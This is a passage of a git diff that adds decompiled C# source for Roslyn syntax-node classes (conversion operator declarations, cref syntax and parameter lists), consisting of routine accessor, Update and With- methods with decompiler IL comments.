(GreenNode)(object)checkedKeyword, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + } + } + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 6); + + public override ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 7); + + public override BlockSyntax? Body => ((SyntaxNode)this).GetRed(ref body, 8); + + public override ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 9); + + public override SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(10), ((SyntaxNode)this).GetChildIndex(10)); + } + } + + public ConversionOperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, implicitOrExplicitKeyword, ExplicitInterfaceSpecifier, operatorKeyword, type, parameterList, body, expressionBody, semicolonToken); + } + + public ConversionOperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, CheckedKeyword, type, parameterList, body, expressionBody, semicolonToken); + } + + internal ConversionOperatorDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3), + 6 => ((SyntaxNode)this).GetRed(ref type, 6), + 7 => ((SyntaxNode)this).GetRed(ref parameterList, 7), + 8 => ((SyntaxNode)this).GetRed(ref body, 8), + 9 => ((SyntaxNode)this).GetRed(ref expressionBody, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => explicitInterfaceSpecifier, + 6 => type, + 7 => parameterList, + 8 => body, + 9 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConversionOperatorDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConversionOperatorDeclaration(this); + } + + public ConversionOperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || implicitOrExplicitKeyword != ImplicitOrExplicitKeyword || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || type != Type || parameterList != ParameterList || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax = SyntaxFactory.ConversionOperatorDeclaration(attributeLists, modifiers, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, type, parameterList, body, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return conversionOperatorDeclarationSyntax; + } + return conversionOperatorDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ConversionOperatorDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new ConversionOperatorDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public ConversionOperatorDeclarationSyntax WithImplicitOrExplicitKeyword(SyntaxToken implicitOrExplicitKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, implicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public ConversionOperatorDeclarationSyntax WithExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, explicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public ConversionOperatorDeclarationSyntax WithOperatorKeyword(SyntaxToken operatorKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, operatorKeyword, CheckedKeyword, Type, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public ConversionOperatorDeclarationSyntax WithCheckedKeyword(SyntaxToken checkedKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, checkedKeyword, Type, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public ConversionOperatorDeclarationSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, type, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithParameterListCore(ParameterListSyntax parameterList) + { + return WithParameterList(parameterList); + } + + public new ConversionOperatorDeclarationSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, parameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithBodyCore(BlockSyntax? body) + { + return WithBody(body); + } + + public new ConversionOperatorDeclarationSyntax WithBody(BlockSyntax? body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, ParameterList, body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithExpressionBodyCore(ArrowExpressionClauseSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new ConversionOperatorDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, ParameterList, Body, expressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new ConversionOperatorDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ImplicitOrExplicitKeyword, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, Type, ParameterList, Body, ExpressionBody, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ConversionOperatorDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new ConversionOperatorDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseMethodDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new ConversionOperatorDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBodyAttributeLists(items); + } + + public new ConversionOperatorDeclarationSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyStatementsCore(params StatementSyntax[] items) + { + return AddBodyStatements(items); + } + + public new ConversionOperatorDeclarationSyntax AddBodyStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConversionOperatorMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConversionOperatorMemberCrefSyntax.cs new file mode 100644 index 0000000..5cf8332 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConversionOperatorMemberCrefSyntax.cs @@ -0,0 +1,153 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConversionOperatorMemberCrefSyntax : MemberCrefSyntax +{ + private TypeSyntax? type; + + private CrefParameterListSyntax? parameters; + + public SyntaxToken ImplicitOrExplicitKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorMemberCrefSyntax)(object)((SyntaxNode)this).Green).implicitOrExplicitKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OperatorKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorMemberCrefSyntax)(object)((SyntaxNode)this).Green).operatorKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken CheckedKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken checkedKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorMemberCrefSyntax)(object)((SyntaxNode)this).Green).checkedKeyword; + if (checkedKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)checkedKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 3); + + public CrefParameterListSyntax? Parameters => ((SyntaxNode)this).GetRed(ref parameters, 4); + + public ConversionOperatorMemberCrefSyntax Update(SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, TypeSyntax type, CrefParameterListSyntax? parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return Update(implicitOrExplicitKeyword, operatorKeyword, CheckedKeyword, type, parameters); + } + + internal ConversionOperatorMemberCrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 3 => ((SyntaxNode)this).GetRed(ref type, 3), + 4 => ((SyntaxNode)this).GetRed(ref parameters, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 3 => type, + 4 => parameters, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConversionOperatorMemberCref(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConversionOperatorMemberCref(this); + } + + public ConversionOperatorMemberCrefSyntax Update(SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, TypeSyntax type, CrefParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (implicitOrExplicitKeyword != ImplicitOrExplicitKeyword || operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || type != Type || parameters != Parameters) + { + ConversionOperatorMemberCrefSyntax conversionOperatorMemberCrefSyntax = SyntaxFactory.ConversionOperatorMemberCref(implicitOrExplicitKeyword, operatorKeyword, checkedKeyword, type, parameters); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return conversionOperatorMemberCrefSyntax; + } + return conversionOperatorMemberCrefSyntax.WithAnnotations(annotations); + } + return this; + } + + public ConversionOperatorMemberCrefSyntax WithImplicitOrExplicitKeyword(SyntaxToken implicitOrExplicitKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(implicitOrExplicitKeyword, OperatorKeyword, CheckedKeyword, Type, Parameters); + } + + public ConversionOperatorMemberCrefSyntax WithOperatorKeyword(SyntaxToken operatorKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(ImplicitOrExplicitKeyword, operatorKeyword, CheckedKeyword, Type, Parameters); + } + + public ConversionOperatorMemberCrefSyntax WithCheckedKeyword(SyntaxToken checkedKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(ImplicitOrExplicitKeyword, OperatorKeyword, checkedKeyword, Type, Parameters); + } + + public ConversionOperatorMemberCrefSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(ImplicitOrExplicitKeyword, OperatorKeyword, CheckedKeyword, type, Parameters); + } + + public ConversionOperatorMemberCrefSyntax WithParameters(CrefParameterListSyntax? parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(ImplicitOrExplicitKeyword, OperatorKeyword, CheckedKeyword, Type, parameters); + } + + public ConversionOperatorMemberCrefSyntax AddParametersParameters(params CrefParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + CrefParameterListSyntax crefParameterListSyntax = Parameters ?? SyntaxFactory.CrefParameterList(); + return WithParameters(crefParameterListSyntax.WithParameters(crefParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefBracketedParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefBracketedParameterListSyntax.cs new file mode 100644 index 0000000..9a9c17f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefBracketedParameterListSyntax.cs @@ -0,0 +1,129 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CrefBracketedParameterListSyntax : BaseCrefParameterListSyntax +{ + private SyntaxNode? parameters; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefBracketedParameterListSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public override SeparatedSyntaxList Parameters + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref parameters, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefBracketedParameterListSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal CrefBracketedParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref parameters, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCrefBracketedParameterList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCrefBracketedParameterList(this); + } + + public CrefBracketedParameterListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || parameters != Parameters || closeBracketToken != CloseBracketToken) + { + CrefBracketedParameterListSyntax crefBracketedParameterListSyntax = SyntaxFactory.CrefBracketedParameterList(openBracketToken, parameters, closeBracketToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return crefBracketedParameterListSyntax; + } + return crefBracketedParameterListSyntax.WithAnnotations(annotations); + } + return this; + } + + public CrefBracketedParameterListSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, Parameters, CloseBracketToken); + } + + internal override BaseCrefParameterListSyntax WithParametersCore(SeparatedSyntaxList parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(parameters); + } + + public new CrefBracketedParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, parameters, CloseBracketToken); + } + + public CrefBracketedParameterListSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Parameters, closeBracketToken); + } + + internal override BaseCrefParameterListSyntax AddParametersCore(params CrefParameterSyntax[] items) + { + return AddParameters(items); + } + + public new CrefBracketedParameterListSyntax AddParameters(params CrefParameterSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(Parameters.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefParameterListSyntax.cs new file mode 100644 index 0000000..cc79af0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefParameterListSyntax.cs @@ 